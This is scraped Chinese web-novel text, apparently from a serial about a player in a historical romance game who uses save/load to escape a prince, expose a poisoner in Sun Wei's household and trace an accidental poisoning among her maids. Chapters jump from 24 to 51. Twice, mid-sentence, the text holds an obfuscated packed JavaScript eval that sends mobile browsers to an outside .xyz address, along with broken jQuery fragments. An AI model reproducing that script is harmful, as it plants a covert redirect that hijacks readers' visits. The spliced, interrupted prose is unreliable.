你顿了下:“我有时是会因为一件小事情绪崩溃。没事的,不用在意,哭过了就忘记了。” 柳儿道:“怎么能不在意,就算是小事,也伤害到你了。” “小姐你说,是谁给你委屈受了,是姑爷吗?他临走前说你什么了?” 最怕这个。 你为什么要和游戏的npc说这些? 但。 正因为是游戏npc,你才能把一些话毫无负担地说出口。 你说了很多自己现实生活里不如意的事。说完心里畅快很多,脸上的泪也干了。 很多现代词汇柳儿听不懂,但她大概明白你的意思。 “小姐别怕,不论发生什么,我和翠儿都会陪在你身边的。” “我并不觉得小姐一事无成,我心里可崇拜小姐啦。” 她也打开了话匣子,仰头望窗外明月。室内熏香燃尽,窗口的蚊虫飞飞绕绕,不敢轻易进来。 “当年,都说双生子不祥,我爹娘怕被府君赶出去,白天出门做工,就把我藏在缸里,只让翠儿露在外面。” “那缸可小,又黑又闷,有时还有大老鼠。我嘴里被塞着布条,哭都哭不出。” “是小姐发现我的。小姐没有惩罚我们一家,也没有直接救我出去。” “小小的小姐每天都掀开盖子来看看我,有一次,你对我说,‘还没爬出来呀’?” “一口缸,怎么可能困住一个人。” “是小姐给了我爬出来的勇气,给了我在桓府的容身之地。还让我和翠儿有机会习武,现在很少有人能欺负得了我们。” “任何人都不可以说小姐不好,就算是小姐你自己也不行。” “我想让你开心,只要你能开心,哪怕死,我也愿意,翠儿也是一样。” “我们……能不能也给到小姐勇气呢?” 你别开头到一边,眼眶发热。 点头。 后面又聊了很久,话题相对轻松。你得知柳儿至今和父母关系不好,但翠儿对她好,她愿意给翠儿几分面子,偶尔回家看看他们。 司马婧曾经赏识她与翠儿,私下问要不要跟着她在凝香宫做事。 柳儿拍拍胸脯:“我一口就回绝了!我要跟我们小姐一辈子的。” 听着听着,你睡着了。 再醒来日上正中,窗外天色湛蓝,一片云也没有。 压力清空,你心情很是不错。 洗漱梳妆后,你拉着翠儿柳儿出府逛街,这是你之前就有的打算。 时间尚早,许多商贩没有开摊。经过一处巷口,有人捂住你的口鼻,以翠儿柳儿没有反应过来的速度,将你向后拉去。 “桓小姐,殿下等您多时了。” “……” 读档回到出门前。 “算了,不去了。” 翠儿疑惑:“小姐?是身体突然不舒服吗?” 你摇头:“我就是想起来,咱们是躲在这里避祸的,出门被抓走才是真的说不清了。” 要谢珩去哪要人? 没有证据,司马煦不可能承认。 虽然可以自己逃出来,但那样会增加这个事件的麻烦程度。 还是在这躲着吧,反正有其他的乐子。 “有饭吗?” “我去厨房看看。” “一起端去夫子的院子吧,我找他吃。” “是。” 去见孙惟的路上,遇见了愁眉苦脸的善星。她眼睛一亮:“夫人?” “夫子吃饭了吗?” “没有。”她叹气,“又吃了不少丹药,府君脾胃不好,吃完便吐,早上还见血了。” 你道:“我去和夫子一起吃饭。” 因为孙惟的烂脾气发作,善星对你的帮助迟疑了,毕竟不好让你上赶着挨骂。 你看出她的顾虑,道:“你放心,我是客人,又有子瑜的面子在,他不会对我太过分的。” 善星崇拜得眼神快要融化了:“多谢夫人。” “夫人,我们府君吃过饭以后,让他把这碗药也喝进去吧。” 她将托盘递给空手的柳儿,“是治胃解丹毒的方子,还热着。” “好。” 你答应下来,进了孙惟的院落。 他没再戴帷帽,相貌清俊,颇具冷感,和谢珩温润的美貌不是同种类型。 见你堂而皇之推门进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15305311|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋,他脸色阴沉:“我不是说不见?” “吃饭了。” 无人在意他见不见。 翠儿动作利落地整理他的桌案布菜。炙肉、鱼鲊、酥饼、鸭羹汤,两碗饭,分别摆在了桌子的两侧。 你先喝了口汤,滋味鲜美,胃里热了,整个人都有了力气。 孙惟紧攥双手,指骨凸得愈发鲜明。 “你到底想做什么?” “想让你吃饭。夫子还需要我喂你吗?” “……” 他拿起了筷子。 相安无事吃了顿饭,你端出药碗。 在你的注视下,他将褐色的药全部喝干。 这是你觉得很奇怪的一点。无论是吃饭还是喝药,他都不是打从心底里排斥,却在善星他们面前表现得很抗拒进食,执着地糟蹋身体。 你盯向他的嘴唇,那里因喝药而湿润,形状好看得像花瓣,阳光下透着浅淡的粉。 想趁他不备亲一下,却在意动之时,见他紧扣胸口,喷出一口黑血。 翠儿柳儿挡你身前。 孙惟躬身埋进桌角,渐渐失去声息。 毒? 你点开虚拟屏幕,自己的数值状态一切正常。 毒不在饭菜,应该是那碗药。 什么动机? 要害死夫子,还是想栽赃嫁祸给你?又或者两者皆有,一箭双雕,除去不该在朝中存在的姓氏,还能让你失去良民身份,沦为杀人的罪犯,任人处置。 你读档回到了早晨梳妆结束的时候,这次你在首饰盒里翻了翻银饰。 没有。 谢珩给你带的都是更华贵的金玉宝石,簪钗上没有银针。 没有就没有吧。 银也不能试出所有的毒,可能药碗里的毒是特别的一种。 你依旧让翠儿去厨房领饭,带到孙惟的院子。路上碰到善星,对白没变,你接下她的托付,捧过那碗能毒死人的汤药。 “谁煎的?” “我煎的。”善星端详你的神色,“夫人,有哪里不对劲吗?” “没有。” 一路阔步到孙惟的院落,径直推门而入,未落的棋子被孙惟攥进掌心,他眉眼不耐,重复拒绝:“我说了不见。” 你让翠儿柳儿放下食盒出去,游走在他的书房,将窗子逐个紧闭。 像开启了跟随功能一般,他亦步亦趋跟着你。 “你到底要做什么?今日便叫阿珩将你领回去罢!我这里容不下你……” 你指着那碗药。 “夫子可得罪了什么人?” 无需提示,他即刻理解了你的发问,黑眸清凌凌的,看你的眼神带了些深思。 “不关你事。” “你知道它有毒?” 他沉默着端起那碗药,倒入案几旁枯死的栽盆里。 你望他:“是你做的,还是别人做的?” “你不至于,只是讨厌我的话,完全可以使人把我扫地出门,不必用命做代价诬陷我,最后两败俱伤。” “但若是别人做的,是针对我,还是针对你?” “你不意外你的药里有毒,处理起来也很淡然,所以这毒大概率是奔你来的。这是第几次?对面是什么人?他们只是给你下毒,还是别的刺杀也做?” “说话,不告诉我,我没办法保护你。” 他蹙眉抬眼,感到不可置信:“你想保护我?” “想。” “因为我是阿珩的夫子?你未免也……” “不是。” “是因为你长得好看。” 24.第 24 章 你决心找出那个在主档里搞小动作的人。 这种心情类似打开冰箱,发现冷藏的蛋糕里有只绿苍蝇,厌烦的同时,还要思考它究竟在冰箱里待了多久,是只碰了这个蛋糕,还是所有的食物都被它爬过了一遍? 你面无表情翻找整个怀贤府的【人物档案】。 善星没问题。她家一百多年前就跟着孙氏打工,是孙惟忠诚度满值的追随者。汤药出自她手,但毒药不是,问题出在药材或者煎药的砂锅上。 蕉客、尘客、梅客、桐客是孙惟的贴身护卫,也是上辈人给他留下的元老级员工,交际记录一切正常。 ……这个【爱心】是什么? 你手指悬浮在那个桃粉色的心形标识上,出现提示:【爱慕值96】 暗恋? 是没见过面的桐客,之后可以去见见他。 再往下,厨娘、杂役、护卫…… 你一目十行地阅读他们的生平,近日见了什么人,做了什么事。 也就冷处理了夸孙惟好看,说要保护他的事。 等你终于在一百多个人的行动线里找出那个矛盾点,他已经趴在桌上睡着了。 桌案上铺着棋盘,另外空余的地方被你带来的食盒和药盘占了,他只搭在桌边一角,侧脸压着腕部。碎发被阳光照得像浅棕的绒毛,乖顺趴伏在他白皙到几乎看不见血色的皮肤上。走近,闻得见他身上的茉莉冷香。 虽然性情不同,但很多下意识的习惯能看出来,谢珩就是他的徒弟。他们总是会在无意中展露脆弱,谢珩浑然天成,站在那便能激起别人的怜惜和保护欲。他则冷淡凌厉些,让人不禁想看到他更破碎的一面。 你拾起一缕他鬓边的发丝,在手指上卷了卷,掖至耳后,顺着耳廓捏向他的耳垂。 这个角度,他衣领开得很大,起伏的胸肌在领口深处打下倒三角的阴影。 你将指头勾在他领口边缘,沿着肌肉轮廓向下,豁开一道转瞬即逝的缺口,其后风光若隐若现。 孙惟的呼吸声开始变重,耳根连着后颈通红,像雪地里开了一片红梅。 他在装睡,但你不知道为什么。 你打开食盒,慢条斯理地把读档后再次空掉的肚子填满。吃完拿茶水漱口,你弯腰附他耳边,说出那个下毒之人的名字。 陶枝。 你看见他的睫毛动了动,呼吸也在听到的一瞬暂停,却不打算“醒来”。 想不通他打算做什么,你感到无趣,起身离开了。 直到你的脚步声消失在院落之外,孙惟才面色阴冷地撑着桌角,将被拨乱的衣襟拢紧。 轻柔的、属于另一个人的体温迟迟不散,让他喉咙里有种莫名的痒意,想把什么东西吞吃入腹。 蕉客从窗外跳进来,拍了拍衣角的泥尘,低声笑道:“奇怪,桓小姐昨夜回去以后便不曾走动过,她的两个婢女也没有出过东厢房。” “她到底是怎么看出陶枝有问题的?她们没见过面啊。” 说着,他略在桌上整理了下你吃剩的菜饭,招呼主子:“桓小姐没吃多少,吃得也很规矩守礼,府君不如就着这些吃个饭?她不会害您的。” 孙惟瞪他一眼:“我不是狗。” 蕉客只是微笑。 两相凝望,片刻,孙惟端起饭碗。 “疤痕都祛掉了吗?这次恢复很快啊。” 孙惟吃得两颊鼓起,吞下去:“还在,但我抹了粉。” “为什么呢?” “料理那女人。” 蕉客哑然,许久,劝他:“府君要小心得不偿失。” “桓小姐已经和桓氏决裂,您不是也听说了?何必将上辈人的恩怨施加于她?她还是五公子的妻子,两人感情甚笃。” 孙惟出了口气,咽下最后的饭,眼神执拗:“你听到她对我说的话,也看到她对我做的事了。” 蕉客道:“那只能说明桓小姐是个多情的女子。” “她多情就配不上阿珩,阿珩也不会移情别恋,喜欢上她那种女人。” 他将桓筝为他别到耳后的发丝抽出来,和披散的头发一同梳理,绸缎般乌黑的长发从他指缝中泄出。 “而且,我不信她与桓守临一点瓜葛也没有,不然怎么解释她知道陶枝是司马氏的线人?” 蕉客略微沉吟,神情变得严肃:“先不说这个。司马氏突然下杀令,你背着我做了什么?” “没。” “别轻举妄动。” “知道。” 蕉客语重心长拍他肩膀:“之允,万事小心,你们家只剩你一个了。” “……知道。” 回房后闲来无事,你开始琢磨主线任务。 触发夫子结局和赶通关任务进度不冲突,目前主档剧情就是利用怀贤府对皇室与世家声名上的限制,逃避他的强取豪夺。 背景相同,选择走哪条线路,随时可以用存档功能切换。 大皇子事件发生前的困境是谢珩上班,你们相处时长减少,影响了攻略进度。 这次是压根见不到面。 你思来想去,目光瞥到珠帘后书桌那边的笔墨,有了灵感。 见不到面,总可以做笔友。 不能出门,就让别人帮忙,来回寄信。 想到便做,你让翠儿磨墨,手持毛笔,端坐在桌案前。 硬笔转软笔有适应期,你先照着书上形状好看的繁体字练了几页,成效不甚明显,写在信纸上的字都糊成一团。 翠儿贴心为你换了一支笔毫细的笔,毛色黑紫,毛质细腻而有韧性。再沾墨落笔,字里面的笔画就清晰不少。 这样一看,对于基础不好的人,写字和笔刷真的有点关系。 你写了一篇字迹清晰娟秀的书信,记录了一天不见谢珩这边发生的事。 信由翠儿送出。非常时期,为了避人耳目,她换了一身男装出门,回来时肩膀受了刀伤,鲜血的颜色触目惊心。 “快到谢府时,我被一群蒙面的男人拦住了,缠斗一番,少不敌多,小姐的信件被他们夺走……对不起,小姐,我没有守住。” 你眉毛抽了抽:“是大皇子的人?” 翠儿缓缓摇头:“不是,那些人的身手源于宫中,是陛下身边的人。” “……他们一家到底想做什么?” 柳儿担忧:“小姐,该不会看上你的人其实是宫里的那位吧?大皇子殿下只是个幌子,真正想要得到小姐的人,是站在最高处的——” 你捏住她的嘴:“以后话本少看点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15309242|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “呜呜呜(知道了)。” 宫中人把递往谢府的书信拦下,还有另一个解读的角度:他们想要拦下的,不是你的家信,而是这座怀贤府主人的手谕。 他们始终怀疑孙惟的恭顺,所以会在府中安排自己的眼线,也就是那位“陶枝”。 昨夜她戌时出,亥时返,同寝之人今晨请了病假,得出的症状是误吸雷公藤中毒。 与她深夜外见的人出自崔府,是一名再普通不过的小厮。但再点进小厮的【人物档案】,可以看到他的哥哥在宫中做内侍,拜了中常侍为干爹。 出处便不言自明。 你重新写了一封日记,让翠儿穿着平常的衣服去谢府送信。这次,信顺利地送到谢珩手中。 你看见空中跃动的数值:【谢珩好感+3】 第二日,照写一封,但这次没有好感提升。 你回想起在游戏论坛看到的一句话:数值的增加条件都是一次性的。 接吻可以增加【1】好感,但只在新婚之夜的初吻上有效,第二次、第三次都无事发生。如果做成可视化的列表形态,【接吻】相对应的按键应该变成了【已领取】。 已经领取的任务奖励,之后无论做再多次,也无法刷新再获得。 看来写信也是这样。 于是第三日你就没再写了。 在院子里坐秋千时,你看到了跟在蕉客身后忿忿的阿问的脸。 脚尖点地,你将晃动中的秋千稳定住,好整以暇望着来人:“小阿问来见我了,什么事啊?” 阿问嘴唇抿紧,感到不悦又不敢发作。 “我来给公子送信,公子让我问夫人,是不是在怀贤府受了什么委屈,怎么没有信寄过去了?” 结果显然,你不仅没受委屈,还玩得挺开心。 你看上去快要把他家公子给忘了。 翠儿从他那里接过谢珩的信,递到你手中。 你挎着秋千的索绳,展开纸袋将信从里面倒出来。信纸纤薄,捏在手中闻到一股清新的草叶香。 【筝娘】 【昨日未得手信,试解其由。】 【近承舅氏惠,纳门客数人,皆是可用之才。二叔、父亲怒作于室,手伤不堪力握,不愿将信假手于人,也不愿让你见字怪异,迟迟不敢回信。】 【还请不要怨我,手信如初,切切若渴。】 【子瑜 笔】 他在解释他没有回信的事。 并对你不再写信的原因做了一个猜测,让阿问来探路。 之前不是错觉,落水一次,他是真的变粘人了。 但又粘人得很懂事,让人难以心生厌烦。 蕉客察言观色:“夫人可要我伺候笔墨?” 没等你表态,阿问十分不满地把怒火喊出口:“为什么要你伺候,哪里轮得到你来伺候?你当翠儿柳儿是什么,是摆设吗?” 蕉客有些苦恼:“你情绪不太稳定,阿问。没事吧,身体还好吗?” “我没事!” “夫人——”善星软声跑来,“府君沐浴晕倒了,你快去瞧瞧他吧!” 不说对面真晕假晕,阿问快要被气晕了。 “我们家少夫人又不是大夫!人晕了找她干什么!” 50-60 第51章 芹郁一整天都在刷院子里的砖。 拎着水桶, 拿刷子一块接一块刷。石砖上的泥土和青苔被她用工具清理干净,洗刷出了石材原本的颜色与纹理起伏。 类似于“洗地毯”、“修马蹄”等的解压视频,从边缘清洗, 到一整块石砖变得整洁。芹郁干得很来劲, 一边刷地, 一边哼歌。 除了解压视频,你还看了一会儿她第一视角的吃播。 真的很会吃啊, 馒头切半塞肉,几口就吃光了。 光是看着都很幸福。 刷完石砖,太阳已经落山, 又到了谢珩回来的时候。 她望着谢珩背影片刻, 叹了口气。 芹枕端洗衣盆路过:“你怎啦?” 芹郁道:“今天没和少夫人说上话呢,公子就回来了。” “他一回来, 什么活都干,都不给咱们近少夫人身的。” 芹枕倒水到水道里, 直了直腰板:“情窦初开,都这样的。” “开到二十多岁了。” 你:“……” “筝娘。” 谢珩迈进屋子,用布巾擦了擦洗过的手,在阿问的侍奉下脱了官服, 换上自己在家穿的衣裳。 简单收拾一番, 阿问避着视线退出去。 谢珩将你从床上捞起来抱抱, 闻到味道:“吃了桂花酥?” 你随手拿一块喂他,装点心的盘子就在枕边。 “好黏人哦, 大家都嫌弃你。” 谢珩用脸蹭了蹭你的发顶, 将桂花酥嚼碎咽下,回话时口中一股桂花与糖的香甜。 “那你讨厌吗?” “不啊。” 长得又嫩又美,冬暖夏凉, 骂不还口,打不还手。想怎么用就怎么用,逆来顺受,偶尔有点小脾气,哄一句自己就痊愈。 可以不喜欢,但没人会讨厌他吧。 芹郁的嫌疑排除。 读档。 【您已开启对嫌疑人芹枕的追踪模式】 芹枕一样没什么可看的。 除了每日固定的那些杂务工作,她的视角一直是话本。 你跟着看了一会儿,发现她对文戏的部分不太感兴趣,翻页很快,只有发展到不可描述时,才仔细钻研。 人之常情。 想到这些情节都是谢玟写的,你也跟着琢磨了会儿炼字,似乎每个字用得都不错。 陪芹枕看了一下午的话本,到结局时,有泪滴落在书页上,染深晕开墨迹。 她擦了擦眼睛,将书抱在胸口,头埋在臂弯里闷坐,沉浸陷在BE结局的悲伤里。 伤心人的眼中,世界都跟着变寂寥。 你出门,走近独自在檐下坐着的芹枕,弯腰,拿一块点心在她面前晃晃。 芹枕回神,要起身侍奉你,被你按着肩膀坐了回去。 你把蜜饵给她,“很难过吗?” “我在看蛇女,少夫人,我没难过……” 她咬了口蜜饵,眼神迷茫:“不知为何,明明恨透了这个仙君,但他真的和小蛇彻底没关系了以后,我反而心里痛痛的。” “很正常吧。” 你坐她身边,指头顶的鸟巢,“如果有天小鸟不飞回来了,你不是也会心里痛痛的?” “只是念旧而已。” 芹枕把蜜饵吃完,又掉了几滴眼泪。 “小鸟可一定要飞回来啊。” “夫人,我想和您,想和芹枕、翠儿、柳儿永远在一起,我们不要变好不好?” 你擦她眼泪:“不会变的。” 【确认取消对嫌疑人芹枕的追踪?】 【确认】 读档。 打开【嫌疑人】界面,看着上面的六个人。 终究点击了【翠儿】的追踪按钮。 【您已开启对嫌疑人翠儿的追踪模式】 虚拟屏幕里是移动中院子里的场景,不一会儿,影像中出现了你的侧脸。 你转头看向端着早饭走来的翠儿,虚拟屏幕中的你就看向了镜头。 “小姐。” 她朝你温柔一笑,将碗碟摆在桌上:“今天做了肉团羹,您几日前想吃,好不容易等到杀猪,我从老祖宗那边给您要的肉。” 肉羹你已经吃了第五遍了。 有些吃腻,但在她期待的眼神中,你还是硬着头皮吃了一口。 “……好吃。” 翠儿皱眉:“小姐,是味道不对吗?” 勉强自己做不喜欢的事,瞒不过一直珍视待你的翠儿的眼睛。 你只好实话实说:“我吃腻了。” 翠儿也不觉失望,把肉羹的碗换成枣蒸饼,“吃腻就不要吃啦,这里还有别的,小姐想喝茶粥吗?” “嗯。” 实在没什么好追踪的,翠儿照顾完你,便回房给你做衣裳。一件夹了兔毛的半臂,是过冬的衣物,她正一针一线给你在上面缝着珍珠。 【确认取消对嫌疑人翠儿的追踪?】 【确认】 读档。 【您已开启对嫌疑人柳儿的追踪模式】 视角开启后,出现那两个给你看过病的医师惊恐的脸。 柳儿当着他们的面徒手掰断木板,摔扔到一边,发出闷亮的响声。 “我最后问一遍,我们小姐身体真的没事?” 医师们抱在一起瑟瑟发抖:“真的没事,就是虚弱了点。姑娘,你若不信,可以再找别的医馆问问看,我们从没见过贵夫人,哪里来的缘由谋害她?” “……”柳儿觉得有理,“那我们小姐为什么会说她中毒了?” 其中一位医师斗胆道:“后宅女眷就是这样,想用些病症引得夫君怜爱。姑娘,你回去问问贵夫人的用意,想得什么病,得什么程度的病,我都能给看的……” 柳儿:“放什么屁?在我们家,姑爷才是需要称病的那个!我们小姐才不屑这种手段!不会看病就不看,我不许你们瞎说!快滚!” “哎哎哎,这就滚!” 回来的路上,她遇见翠儿。 “小姐确实没中毒。” 翠儿颔首,松了口气:“那便好。” 她道:“此事别人问起来,就说每月例行的看诊,小姐从不说废话,她说中毒,就一定是看出了什么,你我见机行事。” 柳儿道:“明白。” 她问:“告诉姑爷吗?” 翠儿道:“小姐想说,自然会告诉他。” “好。” 【确认取消对嫌疑人柳儿的追踪?】 【确认】 “……” 选不出来。 【证据】除了那几页病历,什么也没收集到。 反正有存档。 【确定锁定嫌疑人阿问为真凶吗?】 一个一个试,失败就读档。 【确定】 【任务失败】 【你将阿问下毒的猜测说给谢珩,谢珩虽然有过犹豫,但他选择相信你,将阿问赶了出去。 “我没做就是没做!为什么要污蔑我伤害你!我从小长在这里!我……” 你最终中毒而死。】 读档。 【确定锁定嫌疑人阿瑞为真凶吗?】 【确定】 【任务失败】 【你与阿瑞对峙,问他为什么要下毒害你。起初他感到疑惑,后来听明白原委,便直接去找谢珩辞职。 “既然有了怀疑,我再留下去也是惹少夫人不快。” 阿瑞离开后,你的晕厥状态依然频发。 最后,你中毒而死。】 读档。 【确定锁定嫌疑人芹郁 为真凶吗?】 【确定】 【任务失败】 【你跟谢珩说了芹郁下毒害你的事。谢珩听完,恐慌地检查你的健康状态,而后去他母亲的院子。 “少夫人,不是我,真的不是我!我怎么会伤害您……” 芹郁被送走了。 你中毒而死。】 读档。 【你与芹枕对峙,问她下的毒药是什么。芹枕不解你的问题,但她感受到了你的敌意。 “少夫人不信我?我……” 她被你送走。 你最终中毒而死。】 “……” 读档。 【确定锁定嫌疑人翠儿为真凶吗?】 【确定】 【任务失败】 【你思来想去,害你的人不可能是翠儿。 但翠儿感受到了你的怀疑,她哭着朝你跪下。 “小姐,怀疑我不如杀了我!” 你最终中毒而死。】 读档。 闭着眼睛按了【柳儿】。 看到【任务失败】的弹窗,你心里刹那间轻松很多。 不是她就好。 读档,回到这天早上。 多少琢磨出这个待办任务的意图,单独选每个人都不对的话—— 你在【真凶】页面,选中阿问的同时,将阿瑞也点进去。 是可以做到多选的。 继续排列组合。 费了会功夫,做了数学随机排列题,一直到全选所有人为止,弹窗提示才从【任务失败】变成【证据不足,请继续调查】。 依照你对翠儿柳儿的了解,差不多破案了。 将人叫来,你问:“最近有偷偷给我吃什么东西吗?” 翠儿疑惑:“偷偷?” 你点头:“除了吃的,穿的用的都可以,是你觉得对我有好处,就用在我身上的东西。” 柳儿主动道:“小姐近日练箭四肢酸痛,夜里睡不好,我找了安神的青浮子制成香囊,托姑爷放在小姐枕边了。” 你回到卧房,在床角找到那个香囊,在你触碰到它的瞬间,香囊周围泛着一层荧光,被【证据】收录进去。 【柳儿·青浮子香囊】:安神助眠,忌雄黄,两者齐用或产之砒霜。 翠儿脸色惨白,将衣柜里的雄黄囊拿出来:“你给小姐送东西,怎么不知会我一声!最近院子里有蜈蚣,怕吓到小姐,我放了很多雄黄啊!怪不得小姐说她中了毒,怕是再过几日,补药也调不回小姐的身子了,是你我害了她!” 柳儿也慌了,帮忙把剩下的雄黄囊都收起来扔掉。 你留了一袋,当作证据收集,而后安慰她们:“我这不是没事吗,别着急了。” 翠儿含着泪叮嘱:“以后给小姐送什么,一定要在我这报备一句,知道吗?” 柳儿明白自己做错了事,连连点头:“我知道了,知道了。” 【证据2/6】 之后,你又以同样的模式在芹郁、芹枕、阿问、阿瑞那里收到证据。 缝在袖口驱蚊的药条、滋润的蜡膏、额外带回来的零食、更高品质的药材。 初衷都是为了你好,但合在一起就变成要命的毒药。 【证据充足】 【挑战成功】 兑换奖励: 1.【数值页面】新增【武力】数值。 2.开通【数值分配】功能,首次赠送【3】数值。 你打开数值页面,在原来的一串数据下看到了新增的一栏【武力:3/10】 以及右下角的【数值分配待用:3】 第52章 既然没说限时, 就先保留。 奖励了一次就会有第二次,这些可支配点数你决定攒着,不到万不得已卡数值, 一个都不用。 说不定能带到第二关去。 对账后, 几人便心有余悸地彼此埋怨。看上去是一种啼笑皆非的大团圆式收场, 每个人都没有恶意。 但真的会这么简单吗? 你没多说什么,回房调了几人的【人物档案】看。 柳儿的青浮子是在城东药房处购买, 翠儿的雄黄则是被府中二夫人房内的刘妈所赠。 单看出处,感受不到什么关联。 夜间沐浴,你问柳儿:“怎么会突然想到给我做安神的香囊?” 柳儿动作一顿, 往后退几步, 苦着脸要给你跪下。 你扶住她手臂:“我没问罪的意思,知道你是为了我好。但我总觉得你不是能想到做香囊的性子。” 到底是恶毒女配的得力干将, 柳儿一点就通:“小姐怀疑,今日之事, 是有人在背后刻意引导我们?” 你点头:“此事保密,只能你和翠儿知情,别折腾芹枕她们。” “明白。” 柳儿深思:“那天,我跟翠儿外出采买, 碰见城东药房当街搬草药出来晒。闻着有股清香, 我经过时多看了一眼, 当时另有贵女去询问,店家没睬我。我听着他们聊天, 说这草药有助眠之效, 能让人晚上睡得更好,白天神清气爽。” “虽是我自己买的,但那女子是否与店家串通了言辞, 是否认识我是小姐的丫鬟……我这就出门调查!” “哎。”翠儿拉住她,“急性子,天都黑了。这个时候去,药房的人都不在,你跑了个空不说,顶着夜色出门,谁都猜得到咱们院里出事,要是将幕后之人吓藏起来怎么办?” 柳儿忿忿停步:“可恶!找到是谁,我非杀了那人不可!竟然想借你我的手害小姐性命!” 翠儿沉下脸色:“确实可恶,但这事急不得,你别给小姐添乱。” 柳儿回到浴桶旁:“放心,我会记住的。小姐吩咐我什么,我再做什么。” 其实不用她亲自出门查。 得知了日期,你可以翻她档案里的事件点对应的名字看。 洗完澡,你提笔将与柳儿买青浮子有牵扯的两人记下。 【药童】【粉衣贵女】 点入主页,筛选近期两人的经历里都出现过的人。 除去街上的固定npc,剩下便是李氏的人。 李氏? 你想到李姝羽。 没有交集,她也不像是有借刀杀人心机的人。 但在李氏你只认识这一个人。 “……” 不,应该再多认识一位的。 你点入那位李氏的门客,逐步深入,发现在早些时候,他入李府之前,曾受过【一位贵人】的恩惠。 点进那位贵人的主页。 谢玟。 果然。 随手翻了翻他的经历。 你神色严峻几分,发现这人城府不是一般的深。若不是那天亲眼见到他的手稿,面对面与他对峙过,你应该不会理解他【与书社主人在茶楼喝了一天的茶】是在做什么。 他的每个出行事件,表面上看都稀松平常,需要很了解这个人,才能知道他出门原因为何。 而且,看他的仇恨列表。 他最恨的人是【玉人】,第二恨的是【古板】。 全都用昵称加密了。 是在防着玩家吗?到底是怎样缜密的人,对自己的内心都不说实话。 换到翠儿这边—— 柳儿猜测:“院子里突然多出成串的蜈蚣,会不会是有人故意放进来的?没听阿问说过咱们住的这边有蜈蚣。” 翠儿思索:“雄黄是我管刘妈要的。蜈蚣泛滥,我听厨子说,刘妈房里有许多雄黄,三月时她想酿酒,一直没空出时间,便作罢。刘妈问厨子要不要,厨子说时节过了,来年再酿给主子,就没收。” 柳儿道:“一定都是设计好的,她故意跟人说她有!” “她也只是闲聊说的。如果真去质问,反而会惹怒对方。现在主要的问题是那些爬虫,到底是谁放的?院子里的人在我们眼皮底下做不成事。” “但是外人来偷偷放,我们也能察觉到啊。有人搜集蜈蚣,应该能有风声漏出来,谁没事收那种东西。” 你问:“你们知道什么东西会引来蜈蚣吗?” 翠儿与柳儿面面相觑,摇头。 “我明天出门去问医师!” 暂时先将这事搁置。 如果不是谢府人员过分庞大,你还可以用在怀贤府那边的办法,将全府上下每个人的档案都查一遍。 但是规模不一样,在谢府还用地毯式搜索,会把你累坏的,累到觉得查不查都无所谓的地步。 谢珩沐浴回来,见你与翠儿柳儿她们围在书案这边,便也跟过来。 “筝娘。” 他一来,翠儿柳儿便都退出去。 “还在说白天的事吗?” 他从阿问那听说你中毒,慌忙从官署请假看你。先是冷着脸把他们都训了一顿,训过以后,又用赏钱缓和凝重的氛围,夸了他们几句。 你觉得他还挺会做人的,既能让手下人记住犯的错误,又没有让他们寒心,打了赏给他们。 你没回答他的话,而是问:“你明日休沐?” 他回来时听阿问提了一句,明天到了每月放月假的时候。 他长发在身后,如帘般滴滴答答滴水。你拿布巾给他捏了捏,只觉浓黑衬他雪白,湿发时相貌更深邃些。 “筝娘嫌我碍事吗?” 真敏锐。 “没有。” 谢珩握你的手,拇指抚动你的掌心:“你有想做的事,不必管我。想要告诉我的时候,再同我说便好。” “我不会拖累你的。” “这么乖啊。” 你闻到他身上才沐浴过的竹叶香,有些发涩的植物气息,又隐隐透着独特的暖香。 “只是,与性命相关,就一定要知会我。” “不必担心,我有分寸。” 他黑润的眼眸望了你片刻,捧着你的脸,闭眼送上一吻。 唇在你眉间停留许久,才松开来,将你揽进怀里。 “嗯,我信你。” 一觉睡到天大亮,睁眼身边有人。谢珩将头抵在你肩上,你只能看到他长眉入鬓,还有柔顺乌黑的长发。 侧头,与他发顶靠在一起。 天光从窗纸透入,日渐清凉的天弥漫着干枯的气息,而身边之人温暖而鲜活。 人生如此,也算幸福。 “唔。” 谢珩渐渐睁眼,抬头,无意识地落在你耳边轻吻。 “筝娘醒了?” “醒了。” “那我也……” 他坐起身,努力让自己清醒。 你笑着挂他身上,逗他一会儿,就亲在了一起。 亲着亲着,他忽然睁眼,捂着嘴后退,怔怔红了耳朵。 “怎么,害羞?你之前……” “我……还没净口。” 望他仓皇出逃的背影,你下床:“我也洗个漱。” 清洗干净,装扮完毕。你在镜中看到望着你的谢珩,于是将他按坐在梳妆台前。 在他疑惑的目光中解释,“我给你梳头发。” 你把他的发冠拆下,拿了你束发的发带替换,青蓝色的锦缎轻盈,吹口气在上面都要晃晃。 披散的头发被你编成两撇麻花辫,编好,抬他的下巴看。 面皎如月,唇红若朱。拇指勾他嘴角,低头亲了口。 “长得真好。” 被他压着后颈亲了会儿,分开时,屋子里只剩你和他两个。翠儿早在你起意亲他时就悄悄退了出去。 谢玟来院中找你时,你正给谢珩画像。 他照常翻书,你只在需要时让他看你一眼,其余都一个人在画纸上奋斗。这种水墨风比较好入手,简易,却不出错。 你画画时,翠儿、芹枕她们都围在你这边看,不时发出惊叹。 “好像啊。” “没见过这样画人的画,眼睛画得好漂亮。” 